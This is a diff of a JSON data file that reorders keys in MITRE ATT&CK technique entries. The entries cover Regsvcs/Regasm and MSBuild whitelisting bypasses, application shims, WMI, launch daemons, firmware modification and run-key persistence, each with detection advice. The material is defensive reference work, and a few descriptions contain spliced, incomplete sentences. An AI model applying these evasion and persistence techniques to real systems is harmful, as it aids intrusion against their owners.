"description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith",
- "value": "Regsvcs/Regasm",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1121",
- "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
- "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx",
- "https://github.com/subTee/AllTheThings"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -606,17 +604,34 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1121",
+ "https://msdn.microsoft.com/en-us/library/04za0hca.aspx",
+ "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx",
+ "https://github.com/subTee/AllTheThings"
+ ],
+ "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302"
+ },
+ "value": "Regsvcs/Regasm"
},
{
"description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations.[[Citation: MSDN MSBuild]] \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file.[[Citation: MSDN MSBuild Inline Tasks]] MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016.[[Citation: Microsoft Migrating from DNX]] DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX.[[Citation: engima0x3 DNX Bypass]]\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution.[[Citation: Microsoft Roslyn CPT RCSI]] The rcsi.exe binary is signed by Microsoft.[[Citation: engima0x3 RCSI Bypass]]\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe.[[Citation: engima0x3 RCSI Bypass]]\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools.[[Citation: Microsoft Debugging Tools for Windows]] They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities.[[Citation: Exploit Monday WinDbg]]\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, and cdb.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring\n\nContributors: Casey Smith",
- "value": "Trusted Developer Utilities",
"meta": {
"mitre_data_sources": [
"Process monitoring"
],
- "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
+ "mitre_platforms": [
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1127",
"https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
@@ -629,31 +644,17 @@
"https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
"https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx"
],
- "mitre_platforms": [
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b"
+ },
+ "value": "Trusted Developer Utilities"
},
{
"description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "System Network Configuration Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1016"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -670,24 +671,22 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1016"
+ ],
+ "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0"
+ },
+ "value": "System Network Configuration Discovery"
},
{
"description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM, Administrator",
- "value": "Scheduled Task",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1053",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "https://technet.microsoft.com/en-us/library/cc785125.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -701,12 +700,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1053",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "https://technet.microsoft.com/en-us/library/cc785125.aspx"
+ ],
+ "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9"
+ },
+ "value": "Scheduled Task"
},
{
"description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow compatibility of programs as Windows updates and changes its code. For example, application shimming feature that allows programs that were created for Windows XP to work with Windows 10. Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses API hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDll), and intercept memory addresses (GetProcAddress). Utilizing these shims, an adversary can perform several malicious acts, such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available[[Citation: Black Hat 2015 App Shim]]:\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters",
- "value": "Application Shimming",
"meta": {
"mitre_data_sources": [
"Loaded DLLs",
@@ -715,11 +720,6 @@
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "1e16e6fe-c0d9-4d9a-b112-9ac5ce3bdfdc",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1138",
- "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -733,12 +733,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1138",
+ "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf"
+ ],
+ "uuid": "1e16e6fe-c0d9-4d9a-b112-9ac5ce3bdfdc"
+ },
+ "value": "Application Shimming"
},
{
"description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB)[[Citation: Wikipedia SMB]] and Remote Procedure Call Service (RPCS)[[Citation: TechNet RPC]] for remote access. RPCS operates over port 135.[[Citation: MSDN WMI]]\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for [[Discovery]] and remote [[Execution]] of files as part of [[Lateral Movement]].[[Citation: FireEye WMI 2015]]\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior.[[Citation: FireEye WMI 2015]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters",
- "value": "Windows Management Instrumentation",
"meta": {
"mitre_data_sources": [
"Authentication logs",
@@ -746,7 +751,20 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1047",
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
@@ -754,36 +772,17 @@
"https://technet.microsoft.com/en-us/library/cc787851.aspx",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "01a5a209-b94c-450b-b7f9-946497d91055"
+ },
+ "value": "Windows Management Instrumentation"
},
{
"description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]\n\nDetection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers",
- "value": "NTFS Extended Attributes",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Kernel drivers"
],
- "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1096",
- "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
- "http://msdn.microsoft.com/en-us/library/aa364404"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -797,18 +796,27 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1096",
+ "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html",
+ "http://msdn.microsoft.com/en-us/library/aa364404"
+ ],
+ "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d"
+ },
+ "value": "NTFS Extended Attributes"
},
{
"description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons[[Citation: AppleDocs Launch Agent Daemons]]. These LaunchDaemons have property list files which point to the executables that will be launched[[Citation: Methods of Mac Malware Persistence]].\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories[[Citation: OSX Malware Detection]]. The daemon name may be disguised by using a name from a related operating system or benign software [[Citation: WireLurker]]. Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.\n\nDetection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.\n\nPlatforms: MacOS, OS X\n\nData Sources: Process Monitoring, File monitoring\n\nEffective Permissions: root",
- "value": "Launch Daemon",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
"File monitoring"
],
- "uuid": "eddadd9a-8322-490e-8666-58662beb3d18",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1160",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
@@ -816,24 +824,17 @@
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "eddadd9a-8322-490e-8666-58662beb3d18"
+ },
+ "value": "Launch Daemon"
},
{
"description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.\n\n===Windows===\n\nAn example command that would obtain details on processes is \"tasklist\" using the Tasklist utility.\n\n===Mac and Linux===\n\nIn Mac and Linux, this is accomplished with the ps command.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "Process Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1057"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -850,19 +851,36 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1057"
+ ],
+ "uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580"
+ },
+ "value": "Process Discovery"
},
{
"description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.[[Citation: Wikipedia BIOS]][[Citation: Wikipedia UEFI]][[Citation: About UEFI]]\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected.[[Citation: MITRE Trustworthy Firmware Measurement]] Dump and inspect BIOS images on vulnerable systems and compare against known good images.[[Citation: MITRE Copernicus]] Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.[[Citation: McAfee CHIPSEC Blog]][[Citation: Github CHIPSEC]][[Citation: Intel HackingTeam UEFI Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, BIOS, EFI\n\nContributors: Ryan Becwar",
- "value": "System Firmware",
"meta": {
"mitre_data_sources": [
"API monitoring",
"BIOS",
"EFI"
],
- "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1019",
"https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface",
@@ -874,36 +892,17 @@
"https://github.com/chipsec/chipsec",
"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3"
+ },
+ "value": "System Firmware"
},
{
"description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring",
- "value": "Registry Run Keys / Start Folder",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"File monitoring"
],
- "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1060",
- "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "http://msdn.microsoft.com/en-us/library/aa376977"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -917,22 +916,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1060",
+ "https://technet.microsoft.com/en-us/sysinternals/bb963902",
+ "http://msdn.microsoft.com/en-us/library/aa376977"
+ ],
+ "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc"
+ },
+ "value": "Registry Run Keys / Start Folder"
},
{
"description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters",
- "value": "Service Execution",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1035"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -946,23 +947,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1035"
+ ],
+ "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392"
+ },
+ "value": "Service Execution"
},
{
"description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring",
- "value": "Uncommonly Used Port",
"meta": {
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Process use of network",
"Process monitoring"
],
- "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1065",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -979,23 +979,23 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1065",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0"
+ },
+ "value": "Uncommonly Used Port"
},
{
"description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nContributors: Matthew Demaske, Adaptforward",
- "value": "Deobfuscate/Decode Files or Information",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process Monitoring",
"Process command-line parameters"
],
- "uuid": "673c3a5d-0e07-42bb-8e6f-9aa2322987d8",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1140",
- "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -1009,12 +1009,17 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1140",
+ "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/"
+ ],
+ "uuid": "673c3a5d-0e07-42bb-8e6f-9aa2322987d8"
+ },
+ "value": "Deobfuscate/Decode Files or Information"
},
{
"description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs",
- "value": "Create Account",
"meta": {
"mitre_data_sources": [
"Process Monitoring",
@@ -1022,11 +1027,6 @@
"Authentication logs",
"Windows event logs"
],
- "uuid": "f2d47680-b65a-4354-8a69-79c150fd2bd5",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1136",
- "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
- ],
"mitre_platforms": [
"Windows 10",
"Windows Server 2012",
@@ -1043,22 +1043,23 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1136",
+ "https://docs.microsoft.com/windows/device-security/auditing/event-4720"
+ ],
+ "uuid": "f2d47680-b65a-4354-8a69-79c150fd2bd5"
